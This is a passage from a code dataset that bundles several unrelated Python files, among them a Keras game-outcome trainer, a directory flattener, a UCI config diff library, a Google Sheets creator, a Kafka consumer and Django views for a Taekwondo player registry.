self.team_2_name = d[0]\n outcome = d[1]\n if 'W' in outcome:\n self.outcome = 1\n else:\n self.outcome = 0\n home_away = d[2]\n if 'H' in home_away:\n self.home_away = 2\n elif 'N' in home_away:\n self.home_away = 1\n else:\n self.home_away = 0\n\n self.tourn = int(d[3])\n\n self.team_1_name = d[4]\n self._game_state = d\n\n\n @property\n def list_data(self):\n\n data = [self.home_away]\n data.extend(self.team_1.list_data)\n data.extend(self.team_2.list_data)\n #data.extend([self.team_1.name_hash, self.team_2.name_hash])\n #print([self.team_1.name_hash, self.team_2.name_hash])\n return np.array(data)\n\n\n\ndef features_labels(games):\n\n train_features = [game.list_data for game in games if game.tourn >0]\n\n #print(train_features[0])\n\n train_labels = [d.outcome for d in games if d.tourn >0]#)\n\n return train_features, train_labels\n\n\ndef create_model():\n model = keras.Sequential([\n #keras.layers.Flatten(input_shape=(65, 1)),\n #keras.layers.\n keras.layers.Dense(24, activation=tf.nn.relu, input_dim=101),\n #keras.layers.Dense(32, activation=tf.nn.relu),\n #keras.layers.Dense(16, activation=tf.nn.relu),\n keras.layers.Dense(2, activation=tf.nn.softmax)\n ])\n return model\n\ndef compile_model(model):\n\n #graph = tf.Graph()\n #with graph.as_default():\n model.compile(optimizer='adam',\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'],\n )\n #writer = tf.summary.FileWriter(logdir='logdir', graph=graph)\n #writer.flush()\n #return writer\nimport random\n\ndef get_test_set(train_features, train_labels, n=100):\n test_features = []\n test_labels = []\n for i in range(n):\n #print((len(train_features)))\n blah = random.randint(0, len(train_features) -1)\n test_features.append(train_features.pop(blah))\n test_labels.append(train_labels.pop(blah))\n test_labels = np.array(test_labels)\n test_features = np.array(test_features)\n train_labels = np.array(train_labels)\n train_features = np.array(train_features)\n return test_features, test_labels, train_features, train_labels\n\nimport os\n\ndef checkpoint_callback():\n checkpoint_path = \"training_4444/cp.ckpt\"\n checkpoint_dir = os.path.dirname(checkpoint_path)\n\n # Create checkpoint callback\n cp_callback = tf.keras.callbacks.ModelCheckpoint(checkpoint_path,\n save_weights_only=True,\n verbose=1)\n return cp_callback\n\n\ndef train(model,train_features, train_labels, callback=None, epochs=10):\n import time\n #import tensorboard\n\n #tensorboard = tensorboard.TensorBoard(log_dir=\"logs/{}\".format(time()))\n graph = keras.callbacks.TensorBoard(log_dir='./Graph', histogram_freq=0,\n write_graph=True, write_images=True)\n model.fit(train_features, train_labels, epochs=epochs, callbacks=[callback, graph],\n )\n\n\nif __name__ == '__main__':\n team_data, game_data = load_data([ 2018, 2019])#2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019])\n\n train_features, train_labels = features_labels(game_data)\n\n model = create_model()\n test_features, test_labels, train_features, train_labels = get_test_set(train_features, train_labels, n=10)\n\n #print(np.shape(train_features))\n #input()\n #print(np.shape(test_features))\n\n callback = checkpoint_callback()\n compile_model(model)\n train(model, np.array(train_features), np.array(train_labels), callback=callback, epochs=999900)\n\n\n test_loss, test_acc = model.evaluate(test_features, test_labels)\n\n print('Test accuracy:', test_acc)","sub_path":"keras_learn.py","file_name":"keras_learn.py","file_ext":"py","file_size_in_byte":7142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"359302121","text":"import os\r\nimport sys\r\n\r\ndef main(root):\r\n print('Flattening', root)\r\n dirprune = []\r\n for directory, dirnames, filenames in os.walk(root):\r\n if root == directory:\r\n continue\r\n rootfiles = [f.lower() for f in os.listdir(root)]\r\n for filename in filenames:\r\n if filename.lower() in rootfiles: # make sure we check case insensitive\r\n print(directory,filename, 'already exists in',root)\r\n else:\r\n os.rename(os.path.join(directory,filename),os.path.join(root,filename))\r\n rootfiles.append(filename.lower()) # in case there were dupe cases from nix\r\n dirprune.append(directory)\r\n for rmd in reversed(dirprune):\r\n if os.path.exists(rmd):\r\n l = os.listdir(rmd)\r\n if len(l)==0:\r\n try:\r\n os.removedirs(directory)\r\n except OSError as err:\r\n print(err)\r\n\r\nif __name__ == '__main__':\r\n if len(sys.argv) != 2:\r\n print('Need path to flatten')\r\n print('dirtreeflatten.py /some/directory/tree/to/flatten')\r\n else:\r\n main(sys.argv[1])\r\n\r\n","sub_path":"dirtreeflatten.py","file_name":"dirtreeflatten.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"66340540","text":"import json\r\nimport sys\r\nimport os\r\nimport difflib\r\nimport time\r\n\r\ndef compare_str(str1='', str2=''):\r\n\treturn difflib.SequenceMatcher(None, str1, str2).get_opcodes()\r\n\r\ndef binary_search(dlist, s, e):\r\n\tmaxn = len(dlist) - 1\r\n\tminn = 0\r\n\tif s == e:\r\n\t\twhile minn <= maxn:\r\n\t\t\tmidn = (maxn+minn) // 2\r\n\t\t\tif dlist[midn][1] > s:\r\n\t\t\t\tmaxn = midn - 1\r\n\t\t\t\tcontinue\r\n\t\t\telif dlist[midn][2] < s:\r\n\t\t\t\tminn = midn + 1\r\n\t\t\t\tcontinue\r\n\t\t\telif dlist[midn][1] == dlist[midn][2]:\r\n\t\t\t\treturn midn\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\tmaxn = len(dlist) - 1\r\n\tminn = 0\r\n\twhile minn <= maxn:\r\n\t\tmidn = (minn+maxn) // 2\r\n\t\tif dlist[midn][1] > s:\r\n\t\t\tmaxn = midn - 1\r\n\t\t\tcontinue\r\n\t\telif dlist[midn][2] < e:\r\n\t\t\tminn = midn + 1\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\treturn midn\r\n\treturn -1\r\n\r\ndef binary_search_idx(alist, idx):\r\n\tminn = 0\r\n\tmaxn = len(alist) - 1\r\n\twhile minn<=maxn:\r\n\t\tmidn = (maxn+minn) // 2\r\n\t\tif alist[midn][1] > idx:\r\n\t\t\tmaxn = midn - 1\r\n\t\telif alist[midn][2] < idx:\r\n\t\t\tminn = midn + 1\r\n\t\telse:\r\n\t\t\treturn midn\r\n\treturn -1\r\n\r\ndef synch(str1='', str2='', str3=''):\r\n\tlist1 = compare_str(str2, str1)\r\n\tlist2 = compare_str(str2, str3)\r\n\r\n\t#print(1, list1)\r\n\t#print(2, list2)\r\n\r\n\tfor i in list2:\r\n\t\tidx = binary_search_idx(list1, i[1])\r\n\t\tif idx < 0 or list1[idx][1] == i[1] or list1[idx][2] == i[1]:\r\n\t\t\tcontinue\r\n\t\tif list1[idx][0] == 'equal':\r\n\t\t\tlist1.append(('equal', list1[idx][1], i[1], list1[idx][3], list1[idx][3]+i[1]-list1[idx][1]))\r\n\t\t\tlist1.append(('equal', i[1], list1[idx][2], list1[idx][4]-list1[idx][2]+i[1], list1[idx][4]))\r\n\t\t\tlist1.pop(idx)\r\n\t\telif list1[idx][0] == 'replace':\r\n\t\t\tlist1.append(('replace', list1[idx][1], i[1], list1[idx][3], list1[idx][4]))\r\n\t\t\tlist1.append(('delete', i[1], list1[idx][2], list1[idx][4], list1[idx][4]))\r\n\t\t\tlist1.pop(idx)\r\n\t\telif list1[idx][0] == 'delete':\r\n\t\t\tlist1.append(('delete', list1[idx][1], i[1], list1[idx][3], list1[idx][4]))\r\n\t\t\tlist1.append(('delete', i[1], list1[idx][2], list1[idx][3], list1[idx][4]))\r\n\t\t\tlist1.pop(idx)\r\n\r\n\t#print(3, list1)\r\n\t#print(4, list2)\r\n\r\n\tclist1 = [i for i in list1 if i[0]!='equal']\r\n\tclist2 = []\r\n\tfor i in range(len(list2)):\r\n\t\tif list2[i][0] == 'equal':\r\n\t\t\tcontinue\r\n\t\tif list2[i][0] == 'delete':\r\n\t\t\tclist2.append(list2[i])\r\n\t\t\tcontinue\r\n\t\tidx = binary_search(list1, list2[i][1], list2[i][2])\r\n\t\tif idx >= 0:\r\n\t\t\tif list1[idx][0] == 'equal':\r\n\t\t\t\tclist2.append(list2[i])\r\n\t\t\t\tcontinue\r\n\t\t\tif list2[i][1] == list2[i][2]:\r\n\t\t\t\tclist2.append((list2[i][0], list1[idx][2], list1[idx][2], list2[i][3], list2[i][4]))\r\n\t\t\t\tcontinue\r\n\t\t\tclist2.append(list2[i])\r\n\t#print(5, clist1)\r\n\t#print(6, clist2)\r\n\r\n\tdel_list = [(i[1], i[2]) for i in clist1 if i[0]=='delete' or i[0]=='replace'] + \\\r\n\t\t[(i[1], i[2]) for i in clist2 if i[0]=='delete' or i[0]=='replace']\r\n\r\n\tins_list = [(i[2], i[3], i[4], 1) for i in clist1 if i[0]=='insert'] + \\\r\n\t\t[(i[2], i[3], i[4], 1) for i in clist1 if i[0]=='replace'] + \\\r\n\t\t[(i[2], i[3], i[4], 2) for i in clist2 if i[0]=='insert'] + \\\r\n\t\t[(i[2], i[3], i[4], 2) for i in clist2 if i[0]=='replace']\r\n\r\n\t#print(del_list)\r\n\t#print(ins_list)\r\n\tstr2_tmp = str2\r\n\tfor i in del_list:\r\n\t\tstr2_tmp = str2_tmp[:i[0]] + '\\b'*(i[1]-i[0]) + str2_tmp[i[1]:]\r\n\t\t#print(str2_tmp)\r\n\r\n\tins_list = sorted(ins_list, key=lambda x:x[0], reverse=False)\r\n\r\n\t#print(ins_list)\r\n\r\n\tidx = [0] + [i[0] for i in ins_list] + [len(str2)]\r\n\tstr_list = [str2_tmp[idx[i]:idx[i+1]] for i in range(len(idx)-1)]\r\n\t#print(str_list)\r\n\r\n\tstr_tmp = ''\r\n\tfor i in range(len(ins_list)):\r\n\t\tif ins_list[i][3] == 1:\r\n\t\t\tstr_tmp = str_tmp + str_list[i] + str1[ins_list[i][1]:ins_list[i][2]]\r\n\t\telse:\r\n\t\t\tstr_tmp = str_tmp + str_list[i] + str3[ins_list[i][1]:ins_list[i][2]]\r\n\t\t#print([str_tmp])\r\n\r\n\treturn str_tmp.replace('\\b', '')\r\n\r\ndef synch_for_client(str1='', str2='', str3='', c_idx=0):\r\n\tstr3 = str3[:c_idx] + '\\a' + str3[c_idx:]\r\n\r\n\tstr_tmp = synch(str1, str2, str3)\r\n\r\n\tc_idx_new = str_tmp.find('\\a')\r\n\r\n\tstr_tmp = str_tmp.replace('\\a', '')\r\n\r\n\tif c_idx_new < 0:\r\n\t\tc_idx_new = c_idx\r\n\r\n\treturn max(0, min(len(str_tmp), c_idx_new)), str_tmp\r\n\r\nif __name__ == '__main__':\r\n\t\r\n\t# For test\r\n\ta = 'abcdfe'\r\n\tb = 'abcdehhhhhhhhhhhhhhhh'\r\n\tc = 'abcdeg'\r\n\t#print(compare_str(a, c))\r\n\tprint(synch(a,b,c))\r\n\r\n\t#第一个参数:服务器的副本\r\n\t#第二个参数:客户端传来的旧版\r\n\t#第三个参数:客户端传来的新版\r\n\r\n\tprint('\\n============\\nTo test synch_for_client:\\n')\r\n\ta = 'abcde'\r\n\tb = 'abcf'\r\n\tc = 'acf'\r\n\r\n\tnew_str, cur_pos = synch_for_client(a,b,c,1)\r\n\r\n\tprint('new string: ', new_str)\r\n\tprint('new cur_pos:', cur_pos)\r\n\r\n\tcount = 100000\r\n\tstart_time = time.time()\r\n\tfor i in range(count):\r\n\t\tnew_str, cur_pos = synch_for_client(a,b,c,1)\r\n\r\n\tprint(count/(time.time()-start_time))","sub_path":"Synchronize.py","file_name":"Synchronize.py","file_ext":"py","file_size_in_byte":4667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"48369944","text":"\"\"\" uci parsing \"\"\"\n\nimport logging\nimport re\nimport json\n\n\nclass UciError(RuntimeError):\n pass\n\nclass UciWrongTypeError(UciError):\n pass\n\nclass UciNotFoundError(UciError):\n pass\n\nclass UciParseError(UciError):\n pass\n\nclass Diff(dict):\n \"\"\" class providing diffs on Config objects \"\"\"\n\n def __init__(self):\n \"\"\" initialize instance \"\"\"\n self['newpackages'] = {}\n self['newconfigs'] = {}\n self['oldpackages'] = {}\n self['oldconfigs'] = {}\n self['newOptions'] = {}\n self['oldOptions'] = {}\n self['chaOptions'] = {}\n\n def importJson(self, jsonString):\n \"\"\" generate diff object from a json string \"\"\"\n importDict = json.loads(jsonString)\n \n self.importPackage(importDict['newpackages'], 'newpackages')\n self.importPackage(importDict['oldpackages'], 'oldpackages')\n\n self.importConfig(importDict['newconfigs'], 'newconfigs')\n self.importConfig(importDict['oldconfigs'], 'oldconfigs')\n\n self.importOptions(importDict['newOptions'], 'newOptions')\n self.importOptions(importDict['oldOptions'], 'oldOptions')\n self.importOptions(importDict['chaOptions'], 'chaOptions')\n\n def importPackage(self, packageDict, importTo):\n for packageName, package in packageDict.items():\n curPackage = Package(packageName)\n curPackage.importDictFromJson(package)\n self[importTo][packageName] = curPackage\n\n def importConfig(self, confDict, importTo):\n for confName, confData in confDict.items():\n indexTuple = (confData['package'], confName)\n confValue = confData['value']\n config = Config(confValue.pop('.type'), confValue.pop('.name'), confValue.pop(\".anonymous\"))\n config.keys = confValue\n self[importTo][indexTuple] = config\n\n def importOptions(self, optDict, importTo):\n for optName, optData in optDict.items():\n indexTuple = (optData['package'], optData['config'], optName)\n\n # if it is a changed option treat values as a tuple (there is no tuple in json!)\n if importTo == 'chaOptions':\n self[importTo][indexTuple] = (optData['value'][0], optData['value'][1])\n else:\n self[importTo][indexTuple] = optData['value']\n\n def exportJson(self):\n \"\"\" export diff object to a json string \"\"\"\n export = {}\n export['newpackages'] = {}\n export['oldpackages'] = {}\n\n for packageName, package in self['newpackages'].items():\n export['newpackages'][packageName] = package.exportDictForJson()\n\n for packageName, package in self['oldpackages'].items():\n export['oldpackages'][packageName] = package.exportDictForJson()\n\n export['newconfigs'] = self.exportConfigJson(self['newconfigs'])\n export['oldconfigs'] = self.exportConfigJson(self['oldconfigs'])\n\n export['newOptions'] = self.exportOptions(self['newOptions'])\n export['oldOptions'] = self.exportOptions(self['oldOptions'])\n export['chaOptions'] = self.exportOptions(self['chaOptions'])\n\n return json.dumps(export)\n\n def exportConfigJson(self, confDict):\n export = {}\n for confIndex, config in confDict.items():\n packageName = confIndex[0]\n configName = confIndex[1]\n export[configName] = {}\n export[configName]['value'] = config.export_dict(forjson=True)\n export[configName]['package'] = packageName\n return export\n\n def exportOptions(self, optDict):\n export = {}\n for optIndex, value in optDict.items():\n packageName = optIndex[0]\n configName = optIndex[1]\n optionName = optIndex[2]\n export[optionName] = {}\n export[optionName]['value'] = value\n export[optionName]['package'] = packageName\n export[optionName]['config'] = configName\n return export\n\n def diff(self, UciOld, UciNew):\n \"\"\" generate a diff between UciOld and UciNew \"\"\"\n # find new package keys\n for key in UciNew.packages.keys():\n if not (key in UciOld.packages.keys()):\n self['newpackages'][key] = UciNew.packages[key]\n else:\n oldPackage = UciOld.packages[key]\n newPackage = UciNew.packages[key]\n\n self.diffPackage(oldPackage, newPackage)\n\n # find old packages and configs\n for packageName, package in UciOld.packages.items():\n if not (packageName in UciNew.packages.keys()):\n self['oldpackages'][packageName] = package\n else:\n newPackage = UciNew.packages[packageName]\n for confName, conf in package.items():\n if not (confName in newPackage.keys()):\n self['oldconfigs'][(packageName, confName)] = conf\n\n return self\n\n def diffPackage(self, oldPackage, newPackage):\n \"\"\" generate a diff between oldPackage and newPackage \"\"\"\n for confkey in newPackage.keys():\n if not (confkey in oldPackage.keys()):\n indexTuple = (newPackage.name, confkey)\n self['newconfigs'][indexTuple] = newPackage[confkey]\n else:\n oldConfig = oldPackage[confkey]\n newConfig = newPackage[confkey]\n packageName = newPackage.name\n\n self.diffConfig(oldConfig, newConfig, packageName)\n\n def diffConfig(self, oldConfig, newConfig, packageName):\n \"\"\" diff two configurations \"\"\"\n newOptions = newConfig.export_dict(forjson=True)\n oldOptions = oldConfig.export_dict(forjson=True)\n\n for option_key, option_value in newOptions.items():\n indexTuple = (packageName, newConfig.name, option_key)\n\n if not (option_key in oldOptions.keys()):\n self['newOptions'][indexTuple] = option_value\n else:\n if option_value != oldOptions[option_key]:\n optionTuple = (oldOptions[option_key], option_value)\n self['chaOptions'][indexTuple] = optionTuple\n\n for option_key, option_value in oldOptions.items():\n indexTuple = (packageName, newConfig.name, option_key)\n if not (option_key in newOptions.keys()):\n self['oldOptions'][indexTuple] = option_value\n\n def apply(self, toUci):\n \"\"\" applys a diff to a Uci-Config \"\"\"\n for packageName, package in self['newpackages'].items():\n toUci.add_package(packageName, package)\n\n for configIndex, config in self['newconfigs'].items():\n toUci.add_config(configIndex[0], config)\n\n for packageName, package in self['oldpackages'].items():\n toUci.del_package(packageName)\n\n for configIndex, config in self['oldconfigs'].items():\n toUci.del_config(configIndex[0], config)\n\n for optIndex, opt in self['newOptions'].items():\n toUci.packages[optIndex[0]][optIndex[1]].set_option(optIndex[2], opt)\n\n for optIndex, opt in self['oldOptions'].items():\n toUci.packages[optIndex[0]][optIndex[1]].remove_option(optIndex[2])\n\n for optIndex, opt in self['chaOptions'].items():\n toUci.packages[optIndex[0]][optIndex[1]].set_option(optIndex[2], opt[1])\n\n def revert(self, toUci):\n \"\"\" reverts a diff from a Uci-Config \"\"\"\n for packageName, package in self['newpackages'].items():\n toUci.del_package(packageName)\n\n for configIndex, config in self['newconfigs'].items():\n toUci.del_config(configIndex[0], config)\n\n for packageName, package in self['oldpackages'].items():\n toUci.add_package(packageName, package)\n\n for configIndex, config in self['oldconfigs'].items():\n toUci.add_config(configIndex[0], config)\n\n for optIndex, opt in self['newOptions'].items():\n toUci.packages[optIndex[0]][optIndex[1]].remove_option(optIndex[2])\n\n for optIndex, opt in self['oldOptions'].items():\n toUci.packages[optIndex[0]][optIndex[1]].set_option(optIndex[2], opt)\n\n for optIndex, opt in self['chaOptions'].items():\n toUci.packages[optIndex[0]][optIndex[1]].set_option(optIndex[2], opt[0])\n\nclass Config(object):\n def __init__(self, uci_type, name, anon):\n self.uci_type = uci_type\n self.name = name\n self.anon = anon\n # options are key -> str(value)\n # lists are key -> [value x, value y]\n self.keys = {}\n\n def add_list(self, key, value):\n if key in self.keys:\n self.keys[key].append(value)\n else:\n self.keys[key] = [value]\n\n def remove_list_pos(self, key, pos):\n try:\n if not isinstance(self.keys[key], list):\n raise UciWrongTypeError\n del self.keys[key][pos]\n except(ValueError, KeyError):\n return\n\n def remove_list_value(self, key, value):\n try:\n self.keys[key].remove(value)\n except(ValueError, KeyError):\n return\n\n def set_option(self, key, value):\n self.keys[key] = value\n\n def remove_option(self, key):\n if key in self.keys:\n del self.keys[key]\n\n def export_uci(self):\n export = []\n if not self.anon:\n export.append(\"config '%s' '%s'\\n\" % (self.uci_type, self.name))\n else:\n export.append(\"config '%s'\\n\" % (self.uci_type))\n for opt_list in self.keys:\n if isinstance(self.keys[opt_list], list):\n export.extend([(\"\\tlist '%s' '%s'\\n\" % (opt_list, element)) for element in self.keys[opt_list]])\n else:\n export.append(\"\\toption '%s' '%s'\\n\" % (opt_list, self.keys[opt_list]))\n export.append('\\n')\n return ''.join(export)\n\n def export_dict(self, forjson = False, foradd = False):\n export = {}\n export_keys = self.keys\n if forjson:\n export['.name'] = self.name\n export['.type'] = self.uci_type\n export['.anonymous'] = self.anon\n for i,j in export_keys.items():\n export[i] = j\n elif foradd:\n export['name'] = self.name\n export['type'] = self.uci_type\n export['values'] = export_keys\n else:\n export['section'] = self.name\n export['type'] = self.uci_type\n export['values'] = export_keys\n return export\n\n def __repr__(self):\n return \"Config[%s:%s] %s\" % (self.uci_type, self.name, repr(self.keys))\n\n def __eq__(self, other):\n isEqual = True\n isEqual = isEqual and (self.name == other.name)\n isEqual = isEqual and (self.anon == other.anon)\n isEqual = isEqual and (self.keys == other.keys)\n\n return isEqual\n\nclass Package(dict):\n def __init__(self, name):\n super().__init__()\n self.name = name\n\n def add_config(self, config):\n self[config.name] = config\n\n def del_config(self, config):\n self.pop(config.name)\n\n def add_config_json(self, config):\n cur_config = Config(config.pop('.type'), config.pop('.name'), config.pop(\".anonymous\"))\n cur_config.keys = config\n self.add_config(cur_config)\n return cur_config\n \n def exportDictForJson(self):\n export={}\n export['values'] = {}\n for configname, config in self.items():\n export['values'][config.name] =\\\n config.export_dict(forjson=True)\n return export\n\n def importDictFromJson(self, confDict):\n for confName, conf in confDict['values'].items():\n self.add_config_json(conf)\n\n def __eq__(self, other):\n isEqual = True\n isEqual = isEqual and (self.name == other.name)\n isEqual = isEqual and super().__eq__(other)\n\n return isEqual\n\nclass Uci(object):\n logger = logging.getLogger('uci')\n def __init__(self):\n self.packages = {}\n\n def add_package(self, package_name, package=None):\n if package_name not in self.packages:\n if not package:\n self.packages[package_name] = Package(package_name)\n else:\n self.packages[package_name] = package\n return self.packages[package_name]\n\n def add_config(self, package_name, config):\n if not isinstance(config, Config):\n return RuntimeError()\n if package_name not in self.packages:\n self.packages[package_name] = Package()\n self.packages[package_name].add_config(config)\n\n def del_config(self, package_name, config):\n if package_name not in self.packages:\n raise RuntimeError()\n self.packages[package_name].del_config(config)\n\n def del_package(self, package_name):\n if package_name not in self.packages:\n raise RuntimeError()\n self.packages.pop(package_name)\n\n def del_path(self, path):\n pass\n\n def export_uci_tree(self):\n export = []\n for package, content in self.packages.items():\n export.append(\"package '%s'\\n\" % package)\n export.append(\"\\n\")\n export.extend([config.export_uci() for configname, config in content.items()])\n return \"\".join(export)\n\n def diff(self, new):\n return Diff().diff(self, new)\n\n def load_tree(self, export_tree_string):\n cur_package = None\n config = None\n\n export_tree = json.loads(export_tree_string)\n\n for package in export_tree.keys():\n cur_package = self.add_package(package)\n for config in export_tree[package]['values']:\n config = export_tree[package]['values'][config]\n cur_package.add_config_json(config)\n\n def export_json(self):\n export={}\n for packagename, package in self.packages.items():\n export[packagename] = {}\n export[packagename]['values'] = {}\n for configname, config in package.items():\n export[packagename]['values'][config.name] =\\\n config.export_dict(forjson=True)\n return json.dumps(export)\n\n def __eq__(self, other):\n return self.packages == other.packages\n\n\nclass UciConfig(object):\n \"\"\" Class for configurations - like network... \"\"\"\n pass\n\nif __name__ == '__main__':\n uci_export = open('uci_export')\n alles = uci_export.read(1000000)\n logging.basicConfig()\n ucilog = logging.getLogger('uci')\n ucilog.setLevel(logging.DEBUG)\n uci = Uci()\n uci.load_tree(alles)\n print(uci.export_tree())\n","sub_path":"pyuci/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"12633225","text":"class Restaurant():\n def __init__(self, restaurant_name, cuisine_type):\n self.name = restaurant_name.title()\n self.cuisine_type = cuisine_type\n\n def describe_restaurant(self):\n presentacion = self.name + \" sirve comida \" + self.cuisine_type\n print(presentacion)\n\n def open_restaurant(self):\n estado = self.name + \" está abierto\"\n print(estado)\n\nrestaurante = Restaurant('Mi tierra', 'mexicana')\nprint(restaurante.name)\nprint(restaurante.cuisine_type)\n\nrestaurante.describe_restaurant()\nrestaurante.open_restaurant()\n","sub_path":"Ago-Dic-2018/Genesis Perez/Practica-2/ejercicio-9-1.py","file_name":"ejercicio-9-1.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"568760514","text":"import gdata.docs.data\nimport gdata.docs.client\nimport gdata.acl.data\nimport json\nfrom oauth2client.client import SignedJwtAssertionCredentials\n\n\n_google_config = None\n\ndef get_google_config():\n global _google_config\n if _google_config is None:\n _google_config = json.loads(open('/etc/puzzle/google.json').read())\n return _google_config\n\n\ndef create_google_spreadsheet(title):\n google_config = get_google_config()\n scope = ['https://spreadsheets.google.com/feeds', 'https://docs.google.com/feeds']\n credentials = SignedJwtAssertionCredentials(google_config['client_email'], google_config['private_key'].encode(), scope)\n client = gdata.docs.client.DocsClient(source=google_config['project_id'])\n token = gdata.gauth.OAuth2TokenFromCredentials(credentials)\n token.authorize(client)\n spreadsheet = gdata.docs.data.Resource(gdata.docs.data.SPREADSHEET_LABEL, title)\n new_spreadsheet = client.CreateResource(spreadsheet)\n acl_entry = gdata.docs.data.AclEntry(\n scope=gdata.acl.data.AclScope(type='default'),\n role=gdata.acl.data.AclWithKey(\n key='with link',\n role=gdata.acl.data.AclRole(value='writer')\n )\n )\n client.AddAclEntry(new_spreadsheet, acl_entry)\n return new_spreadsheet.GetAlternateLink().href\n","sub_path":"puzzles/googlespreadsheet.py","file_name":"googlespreadsheet.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"209312817","text":"import json\n\nfrom kafka import KafkaConsumer\n\n\nclass AlertsConsumer:\n\n KAFKA_TOPIC_NAME = 'price_alert'\n\n def __init__(self):\n self.consumer = KafkaConsumer(\n self.KAFKA_TOPIC_NAME, bootstrap_servers=['localhost:9092']\n )\n\n def run(self):\n print(f'Starting the {self.KAFKA_TOPIC_NAME} consumer')\n for message in self.consumer:\n data = json.loads(message.value)\n print(f'Received new data: {data}')\n\n\nif __name__ == '__main__':\n consumer = AlertsConsumer()\n consumer.run()\n","sub_path":"gas-prices/stream_consumers/price_alert.py","file_name":"price_alert.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"233953442","text":"import os\n\nfrom crawler.blog import BlogCrawler\n\nCURRENT_PATH = os.getcwd()\n\nBLOG_DIR_PATH = os.path.join(CURRENT_PATH, 'blogs')\nTEMP_DIR_PATH = os.path.join(CURRENT_PATH, '.temp')\n\nCONFIG_DIR_PATH = os.path.join(CURRENT_PATH, 'config')\nWEBSITE_CONFIG_DIR_PATH = os.path.join(CONFIG_DIR_PATH, 'website')\nMAIN_CONFIG_FILE_PATH = os.path.join(CONFIG_DIR_PATH, 'main.json')\n\nfor dir_name in [TEMP_DIR_PATH, BLOG_DIR_PATH, CONFIG_DIR_PATH, WEBSITE_CONFIG_DIR_PATH]:\n if not os.path.exists(dir_name):\n os.mkdir(dir_name)\n\nblogCrawler = BlogCrawler(BLOG_DIR_PATH, TEMP_DIR_PATH, WEBSITE_CONFIG_DIR_PATH, MAIN_CONFIG_FILE_PATH)\n\nif __name__ == '__main__':\n while True:\n try:\n blog_url = input('博客网址: ').strip()\n blogCrawler.run(blog_url)\n except KeyboardInterrupt:\n blogCrawler.cleanup()\n","sub_path":"BlogCrawler.py","file_name":"BlogCrawler.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"39507081","text":"def seqProd(a1=1, q=4, n=10):\r\n an = a1*q\r\n elCiagu = []\r\n elCiagu.append(a1)\r\n elCiagu.append(an)\r\n iloczyn = a1*an\r\n for x in range (7, n+7, 10):\r\n anp1 = an * q\r\n elCiagu.insert(x, anp1)\r\n an = anp1\r\n iloczyn *= anp1\r\n\r\n return iloczyn, elCiagu\r\nprint(seqProd(1, 2, 6))","sub_path":"zadanie5.py","file_name":"zadanie5.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"390303004","text":"\"\"\"\nConvert a user configuration dictionary to\nan internal parameter dictionary.\n\"\"\"\nfrom typing import Dict\nimport copy\n\n\ndef convert_to_internal(params):\n # type: (Dict) -> Dict\n \"\"\"Convert to \"plot\" internal dictionary.\n\n use the internal key defined by params[\"__\"]\n as the new key.\n\n Args:\n params (dict | list): user configuration dictionary/list\n\n Returns:\n A new dictionary with new keys.\n \"\"\"\n if isinstance(params, list):\n return [convert_to_internal(x) for x in params]\n else:\n ooo = dict()\n for k in params.keys():\n if k == \"v\":\n return params[\"v\"]\n elif isinstance(params[k], dict):\n new_key = params[k][\"__\"]\n ooo[new_key] = convert_to_internal(params[k])\n elif (isinstance(params[k], list) and\n isinstance(params[k][0], dict)):\n ooo[k] = convert_to_internal(params[k])\n else:\n continue\n return ooo\n","sub_path":"plot/tk/dictTK/convert_to_internal.py","file_name":"convert_to_internal.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"173525860","text":"from django.shortcuts import render\nfrom Taekwondo.models import Players\nfrom django.http import HttpResponseRedirect\nfrom Taekwondo.forms import PlayerForm,UserForm,ResultForm\nfrom django.contrib import auth\nfrom django.contrib.auth import authenticate\nfrom django.views.generic import View\nfrom Taekwondo.models import Results\n\ndef Home(request):\n return render(request,'base.html',{})\n\ndef about(request):\n return render(request, 'about.html', {})\n\ndef index(request):\n a=auth.get_user(request)\n allrows=Players.objects.filter(user=a)\n return render(request,'player.html', {'allrows': allrows})\n\ndef delete(request, id):\n\n record = Players.objects.get(id=id)\n record.delete()\n a=auth.get_user(request)\n allrows=Players.objects.filter(user=a)\n return render(request,'player.html', {'allrows': allrows})\n\ndef delete2(request, id):\n record = Results.objects.get(id=id)\n record.delete()\n a = auth.get_user(request)\n allrows = Results.objects.filter(user=a)\n return render(request, 'results.html', {'allrows': allrows})\n\ndef del1(request):\n if request.method == \"POST\":\n try:\n a = request.POST.get(\"delete\", '')\n b=auth.get_user(request)\n record = Players.objects.filter(name=a).filter(user=b)\n return render(request, 'searchdel.html', {'record': record})\n except:\n return render(request, 'del.html', {'errMsg': 'Player Not Found!!!!!!'})\n else:\n return render(request, 'del.html', {})\n\ndef addItem(request):\n if request.method == \"POST\":\n i = Players()\n i.user = auth.get_user(request)\n i.name = request.POST.get('name', '')\n i.gender = request.POST.get('gender', '')\n i.age = request.POST.get('age', '')\n i.agegroup = request.POST.get('agegroup', '')\n i.weight = request.POST.get('weight', '')\n i.weightcategory = request.POST.get('weightcategory', '')\n i.PlayingFor = request.POST.get('PlayingFor', '')\n i.state = request.POST.get('state', '')\n i.country = request.POST.get('country', '')\n 